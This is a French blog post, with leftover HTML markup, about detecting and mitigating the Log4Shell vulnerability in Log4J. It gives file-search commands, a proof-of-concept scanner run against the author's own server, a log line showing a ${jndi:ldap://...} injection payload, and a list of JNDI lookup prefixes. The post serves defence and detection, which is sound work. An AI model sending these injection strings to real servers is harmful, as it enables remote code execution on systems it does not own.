Impact<\/h2>\n\n
Tout ce qui utilise le framework de journalisation d’Apache nomm\u00e9 Log4J est susceptible d’\u00eatre impact\u00e9. Les applications concern\u00e9es sont g\u00e9n\u00e9ralement reconnaissables au fait qu’elles poss\u00e8dent le fichier log4j-core.jar.<\/p>\n\n
Les versions d\u00e9clar\u00e9es concern\u00e9es comme faillibles de log4j-core sont :<\/p>\n\n
- \n
- De la version 2.0-beta9 \u00e0 la version 2.12.1 (Java7)<\/li>\n
- De la version 2.13.0 \u00e0 la version 2.15.0 (Java8)<\/li>\n<\/ul>\n\n
Toutefois, je ne vous recommande pas de vous fier \u00e0 ces valeurs, car la classe r\u00e9ellement en d\u00e9faut (JndiLookup.class) est embarqu\u00e9e. J’ai constat\u00e9 que certains \u00e9diteurs avaient repris une version de JndiLookup.class faillible dans un core non r\u00e9pertori\u00e9 comme faillible.<\/p>\n\n
Quelque soit la version de log4j-core que vous utilisez, je vous recommande de tester et de mitiger. De plus ne cherchez pas seulement si vous utilisez log4j-core mais aussi si vous utilisez directement JndiLookup.class.<\/p>\n\n
Comment chercher si le fichier en d\u00e9faut est pr\u00e9sent sur votre syst\u00e8me ?<\/h2>\n\n
Sur un syst\u00e8me Linux, recherchez tous les .jar log4j-core et v\u00e9rifiez la pr\u00e9sence de JndiLookup.class. Cela ne vous dira pas si vous l’utilisez, mais si vous le poss\u00e9dez. Donc si vous \u00eates susceptible de l’utiliser.<\/p>\n\n
find \/ -type f -name \"log4j-core-*.jar\" -exec unzip -l \"{}\" ; 2>\/dev\/null | grep -i JndiLookup.class<\/code><\/pre>\n\nV\u00e9rifiez aussi les fichiers .ear, ils peuvent contenir le jar log4j-core.<\/p>\n\n
find \/ -type f -name \"*.ear\" -exec unzip -l \"{}\" ; 2>\/dev\/null | grep -i log4j-core<\/code><\/pre>\n\nLes fichiers .war, :<\/p>\n\n
find \/ -type f -name \"*.war\" -exec unzip -l \"{}\" ; 2>\/dev\/null | grep -i log4j-core<\/code><\/pre>\n\nEt enfin, v\u00e9rifiez la pr\u00e9sence directe de JndiLookup.class.<\/p>\n\n
find \/ type f -name \"JndiLookup.class\"<\/code><\/pre>\n\nlog4shell.bash<\/h2>\n\n
Voici check_log4shell.bash, un script maison pour scanner vos serveurs Linux.<\/strong><\/p>\n\n
- \n
- Inspecte les fichiers ear, war, class et jar<\/li>\n
- 3 modes : default \/ suspicious \/ paranoid pour inspecter log4j-core*.jar, *log4j*.jar ou *.jar<\/li>\n
- Inspecte les fichiers jar contenus dans les fichiers war<\/li>\n
- Inspecte les fichiers META-INF contenus dans les fichiers ear<\/li>\n
- Possibilit\u00e9 de changer le chemin de la recherche<\/li>\n
- Filtrage des \u00e9v\u00e8nements : infos, warnings, errors, statistiques<\/li>\n
- Statistiques<\/li>\n<\/ul>\n\n
![\"\"](\"https:\/\/siteperso.info\/wp-content\/uploads\/2021\/12\/log4shell-1024x555.png\")
<\/a><\/figure>\n\ncheck_log4shell.bash (version 1.1)<\/a>T\u00e9l\u00e9charger<\/a>\n\nProduits impact\u00e9s<\/h2>\n\n
Voici une liste non exhaustive de produits que l’on sait impact\u00e9s par cette faille :<\/p>\n\n
- \n
- RedHat, par le biais d’Openshift et de certains JBoss<\/li>\n
- Jenkins, si vous utilisez le plugins Log4J<\/li>\n
- Apache SOLR<\/li>\n
- VMWare<\/li>\n
- Citrix<\/li>\n
- Atlassian<\/li>\n
- NetApp<\/li>\n
- SonarQube<\/li>\n<\/ul>\n\n
Ce n’est pas parce que vous avec un fichier log4j que vous \u00eates concern\u00e9 !!!<\/strong> Encore une fois, la faille est dans la classe JndiLookup.class.<\/strong><\/p>\n\n
V\u00e9rifiez dans le jar la pr\u00e9sence du fichier JndiLookup.class avant de paniquer, un .jar est un .zip, utilisez votre d\u00e9compresseur pr\u00e9f\u00e9r\u00e9.<\/strong><\/p>\n\n
Proof of Concept (POC)<\/h2>\n\n
Pour comprendre comment et pourquoi mitiger, il est n\u00e9cessaire de comprendre le POC.<\/p>\n\n
Celui qui me semble le plus facile \u00e0 mettre en \u0153uvre et \u00e0 lire est celui-ci : nw_log4jcheck.py<\/a><\/p>\n\n
Il vous faudra Python3 pour l’ex\u00e9cuter. Vous devez changer la valeur de HOSTNAME dans le script avant de vous en servir :<\/p>\n\n
![\"\"](\"https:\/\/siteperso.info\/wp-content\/uploads\/2021\/12\/image-1-1024x539.png\")
<\/a><\/figure>\n\nVous devez aussi cr\u00e9er le r\u00e9pertoire, voire le fichier dans lequel le script \u00e9crira ses logs :<\/p>\n\n
mkdir -p \/var\/log\/named\n> \/var\/log\/named\/query.log<\/code><\/pre>\n\nCherchez ensuite tout les ports WEB ouverts (Java, httpd, etc.) sur votre plateforme :<\/p>\n\n
netstat -tulpn<\/code><\/pre>\n\n![\"\"](\"https:\/\/siteperso.info\/wp-content\/uploads\/2021\/12\/image-2-1024x539.png\")
<\/a><\/figure>\n\nDans cet exemple, l’on peut voir diff\u00e9rents ports qui m\u00e9ritent d’\u00eatre v\u00e9rifi\u00e9s :<\/p>\n\n
Les ports 8005 et 8081 (java) ainsi que le port 443 (httpd).<\/p>\n\n
Utilisez le script sur chacun des ports :<\/p>\n\n
python3 .\/nw_log4jcheck.py https:\/\/siteperso.info:443<\/code><\/pre>\n\n![\"\"](\"https:\/\/siteperso.info\/wp-content\/uploads\/2021\/12\/image-3-1024x539.png\")
<\/a>\nR\u00e9sultat du scan sur le port 443<\/figcaption>\n<\/figure>\n\n Le port 443 est d\u00e9livr\u00e9 sur ce serveur par Apache (httpd). En regardant les logs g\u00e9n\u00e9r\u00e9s par le test je peux voir ceci :<\/p>\n\n
\"[16\/Dec\/2021:10:46:29 +0100]\" \"7499\" \"HTTP\/1.1\" \"-\" \"python-requests\/2.26.0\" \"\/${jndi:ldap:\/56549fb9-f720-455f-a0c0-c40b55693bec.siteperso.info\/test.class}\" \"15.188.192.249\" \"+\" \"403<\/strong>\" \"1147\" \"GET \/$%7Bjndi:ldap:\/\/56549fb9-f720-455f-a0c0-c40b55693bec.siteperso.info\/test.class%7D<\/strong> HTTP\/1.1\" \"siteperso.info:443\" \"GET\" \"-\" \"-\" \"-\" \"-\" \"TLSv1.3\" \"TLS_AES_256_GCM_SHA384\" \"-\"<\/code><\/pre>\n\nEn rouge, l’on peut voir l’URL appel\u00e9e par le POC, il essaie de contacter le service jndi:ldap. On peut observer que le serveur a r\u00e9pondu avec un code HTTP 403 : Forbidden.<\/p>\n\n
Commencez \u00e0 s\u00e9rieusement vous inqui\u00e9ter si vous avez un code HTTP 200.<\/p>\n\n
Les URLS attaquables ne commencent pas uniquement par $jndi:ldap, le POC est focalis\u00e9 sur ceci mais en voici la liste compl\u00e8te :<\/p>\n\n
- \n
- ${jndi:ldap:\/}<\/li>\n
- ${jndi:ldaps:\/}<\/li>\n
- ${jndi:rmi:\/}<\/li>\n
- ${jndi:dns:\/}<\/li>\n
- ${jndi:iiop:\/}<\/li>\n<\/ul>\n\n
Evidement, selon la technologie du port ouvert, vous devrez aller dans les logs ad\u00e9quats pour voir ce r\u00e9sultat.<\/p>\n\n
Comment se prot\u00e9ger<\/h2>\n\n
L\u2019action prioritaire est de mettre \u00e0 jour Log4J vers la version 2.16.0, via les gestionnaires de paquets habituels ou via un t\u00e9l\u00e9chargement direct depuis\u00a0https:\/\/logging.apache.org\/log4j\/2.x\/download.html<\/a>.<\/p>\n\n